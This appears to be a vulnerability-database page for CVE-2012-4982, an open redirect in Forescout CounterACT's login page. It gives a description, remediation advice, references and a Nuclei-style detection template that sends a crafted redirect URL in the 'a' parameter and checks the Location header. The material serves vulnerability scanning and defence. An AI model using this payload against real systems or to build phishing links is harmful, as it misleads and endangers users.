CVE-2012-4982: Forescout CounterACT 6.3.4.1 - Open Redirect

2025-08-01 Forescout CounterACT PoC Public

Description

Open redirect vulnerability in assets/login on the Forescout CounterACT NAC device before 7.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the 'a' parameter.

PoC

id: CVE-2012-4982

info:
  name: Forescout CounterACT 6.3.4.1 - Open Redirect
  author: ctflearner
  severity: medium
  description: |
    Open redirect vulnerability in assets/login on the Forescout CounterACT NAC device before 7.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the 'a' parameter.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the download of malware.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of Forescout CounterACT to fix the open redirect vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/38062
    - https://www.reactionpenetrationtesting.co.uk/forescout-cross-site-redirection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4982
    - http://www.reactionpenetrationtesting.co.uk/forescout-cross-site-redirection.html
    - https://github.com/tr3ss/newclei
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:N
    cvss-score: 5.8
    cve-id: CVE-2012-4982
    cwe-id: CWE-20
    epss-score: 0.08907
    epss-percentile: 0.95111
    cpe: cpe:2.3:a:forescout:counteract:6.3.4.10:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: forescout
    product: counteract
  tags: cve,cve2012,redirect,forescout,counteract,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/login?a=https://interact.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4b0a0048304602210082a2f27d7018ab2137e8e012322ae61ea400280a74eb2b49eeee1a1214280fe902210084a0ac3d411212f98ed4e29b8d522a0654e0f165e5a9c41feac13dcf48f797b6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities